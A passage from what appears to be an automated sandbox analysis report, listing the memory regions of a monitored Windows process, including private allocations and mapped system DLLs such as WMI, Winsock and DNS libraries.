= 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 4936 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4937 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4938 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4939 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4940 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 4941 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 4942 start_va = 0x1b3b0000 end_va = 0x1b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 4943 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 4944 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4945 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4946 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4947 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 4948 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 4949 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4950 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4951 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 4952 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4953 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4954 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4955 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4956 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4957 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4958 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4959 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4960 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 4961 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 4962 start_va = 0x1b3b0000 end_va = 0x1b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 4963 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4964 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4965 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4966 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4967 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 4968 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4969 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4970 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4971 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4972 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 4973 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 4974 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4975 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4976 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4977 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4978 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 4979 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 4980 start_va = 0x1b3b0000 end_va = 0x1b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 4981 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 4982 start_va = 0x1b3d0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 4983 start_va = 0x1b3e0000 end_va = 0x1b3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 4984 start_va = 0x1b3f0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 4985 start_va = 0x1b400000 end_va = 0x1b40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b400000" filename = "" Region: id = 4986 start_va = 0x1b410000 end_va = 0x1b41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 4987 start_va = 0x1b420000 end_va = 0x1b42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b420000" filename = "" Region: id = 4988 start_va = 0x1b430000 end_va = 0x1b44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b430000" filename = "" Region: id = 4989 start_va = 0x1b450000 end_va = 0x1b46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b450000" filename = "" Region: id = 4990 start_va = 0x1b470000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b470000" filename = "" Region: id = 4991 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 4992 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 4993 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 4994 start_va = 0x1b4d0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 4995 start_va = 0x7ffb15d90000 end_va = 0x7ffb15d9cfff monitored = 1 entry_point = 0x7ffb15d94e90 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wminet_utils.dll") Region: id = 4996 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4997 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 4998 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 4999 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5000 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5001 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5002 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5003 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5004 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5005 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5006 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5007 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5008 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5009 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5010 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5011 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5012 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5013 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5014 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5015 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5016 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5017 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5018 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5019 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5020 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5021 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5022 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5023 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5024 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5025 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5026 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5027 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5028 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5029 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5030 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5031 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5032 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 5033 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5034 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5035 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5036 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 5037 start_va = 0x1b3b0000 end_va = 0x1b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 5038 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5039 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5040 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5041 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5042 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5043 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5044 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5045 start_va = 0x1b330000 end_va = 0x1b33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 5046 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5047 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5048 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 5049 start_va = 0x1b330000 end_va = 0x1b330fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b330000" filename = "" Region: id = 5050 start_va = 0x7ffb119a0000 end_va = 0x7ffb119c4fff monitored = 0 entry_point = 0x7ffb119a9900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 5051 start_va = 0x7ffb13440000 end_va = 0x7ffb134befff monitored = 0 entry_point = 0x7ffb13457110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 5052 start_va = 0x7ffb1fdf0000 end_va = 0x7ffb1fe5afff monitored = 0 entry_point = 0x7ffb1fe090c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 5053 start_va = 0x7ffb12110000 end_va = 0x7ffb12120fff monitored = 0 entry_point = 0x7ffb12112fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 5064 start_va = 0x7ffb119d0000 end_va = 0x7ffb119e3fff monitored = 0 entry_point = 0x7ffb119d1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 5065 start_va = 0x7ffb11a10000 end_va = 0x7ffb11b05fff monitored = 0 entry_point = 0x7ffb11a49590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 5699 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5700 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5701 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 5702 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5703 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5704 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5705 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 5706 start_va = 0x1b3b0000 end_va = 0x1b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 5707 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 5708 start_va = 0x1b3d0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 5709 start_va = 0x1b3e0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 5710 start_va = 0x1b400000 end_va = 0x1b41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b400000" filename = "" Region: id = 5711 start_va = 0x1b420000 end_va = 0x1b42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b420000" filename = "" Region: id = 5712 start_va = 0x1b430000 end_va = 0x1b43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b430000" filename = "" Region: id = 5713 start_va = 0x1b440000 end_va = 0x1b44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b440000" filename = "" Region: id = 5714 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5715 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5716 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 5717 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5718 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5719 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5720 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5721 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5722 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 5723 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5724 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5725 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5726 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 5727 start_va = 0x1b3b0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 5728 start_va = 0x1b3d0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 5729 start_va = 0x1b3e0000 end_va = 0x1b3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 5730 start_va = 0x1b3f0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 5733 start_va = 0x1b340000 end_va = 0x1b341fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b340000" filename = "" Region: id = 5734 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5735 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5736 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 5737 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5738 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5739 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5740 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 5741 start_va = 0x1b3b0000 end_va = 0x1b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 5742 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 5743 start_va = 0x7ffaa2df0000 end_va = 0x7ffaa2dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2df0000" filename = "" Region: id = 5744 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5745 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5746 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 5747 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5748 start_va = 0x1b340000 end_va = 0x1b342fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b340000" filename = "" Region: id = 5749 start_va = 0x7ffaa2e00000 end_va = 0x7ffaa2e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2e00000" filename = "" Region: id = 5750 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5751 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5752 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5753 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5754 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 5755 start_va = 0x7ffaa2e10000 end_va = 0x7ffaa2e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2e10000" filename = "" Region: id = 5756 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5757 start_va = 0x7ffb15420000 end_va = 0x7ffb15457fff monitored = 0 entry_point = 0x7ffb15438cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 5758 start_va = 0x7ffb1b240000 end_va = 0x7ffb1b2e9fff monitored = 0 entry_point = 0x7ffb1b267910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 5759 start_va = 0x7ffb1fc10000 end_va = 0x7ffb1fc17fff monitored = 0 entry_point = 0x7ffb1fc11ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 5760 start_va = 0x7ffb15400000 end_va = 0x7ffb15415fff monitored = 0 entry_point = 0x7ffb154019f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 5761 start_va = 0x7ffb153e0000 end_va = 0x7ffb153f9fff monitored = 0 entry_point = 0x7ffb153e2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 5762 start_va = 0x7ffb15610000 end_va = 0x7ffb1561afff monitored = 0 entry_point = 0x7ffb15611d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 5763 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5764 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5765 start_va = 0x1b340000 end_va = 